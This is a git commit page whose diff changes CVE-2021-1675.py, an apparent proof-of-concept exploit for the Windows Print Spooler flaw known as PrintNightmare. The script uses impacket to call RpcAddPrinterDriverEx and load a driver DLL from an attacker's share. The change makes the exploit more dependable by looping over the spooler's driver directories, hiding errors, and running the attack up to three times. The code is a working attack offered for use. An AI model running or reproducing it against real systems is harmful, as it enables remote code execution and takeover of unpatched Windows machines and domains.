Increased PoC stability

Signed-off-by: cube0x0 <vidfelt@protonmail.com>
pull/21/head
cube0x0 3 years ago
parent b94fddca41
commit 86152766a0
  1. 43
      CVE-2021-1675.py

@ -3,7 +3,7 @@ from impacket.dcerpc.v5 import rprn
from impacket.dcerpc.v5 import transport from impacket.dcerpc.v5 import transport
import argparse import argparse
import sys import sys
import time
def connect(username, password, domain, lmhash, nthash, address, port): def connect(username, password, domain, lmhash, nthash, address, port):
binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address) binding = r'ncacn_np:{0}[\PIPE\spoolss]'.format(address)
@ -50,29 +50,19 @@ def main(username, password, domain, lmhash, nthash, address, port, share):
print("[*] Uploading {0}".format(share)) print("[*] Uploading {0}".format(share))
#stage 0
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage0: {0}".format(resp['ErrorCode'])) print("[*] Stage0: {0}".format(resp['ErrorCode']))
for i in range(1, 50):
#stage 1 try:
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\{0}\x00".format(filename) container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\{0}\\{1}\x00".format(i, filename)
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage1: {0}".format(resp['ErrorCode'])) print("[*] Stage{0}: {1}".format(i, resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
#stage 2 print("[+] Exploit Completed")
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\2\\{0}\x00".format(filename) sys.exit()
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags) except Exception as e:
print("[*] Stage2: {0}".format(resp['ErrorCode'])) #print(e)
pass
#stage 3
container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\3\\{0}\x00".format(filename)
resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)
print("[*] Stage3: {0}".format(resp['ErrorCode']))
if (resp['ErrorCode'] == 0):
print("[+] Exploit Completed")
else:
print("[-] Not Completed")
if __name__ == '__main__': if __name__ == '__main__':
@ -122,5 +112,12 @@ Example;
lmhash = '' lmhash = ''
nthash = '' nthash = ''
#re-run if stage0/stageX fails
print("[*] Try 1...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
time.sleep(10)
print("[*] Try 2...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
time.sleep(10)
print("[*] Try 3...")
main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share) main(username, password, domain, lmhash, nthash, options.target_ip, options.port, options.share)
Loading…
Cancel
Save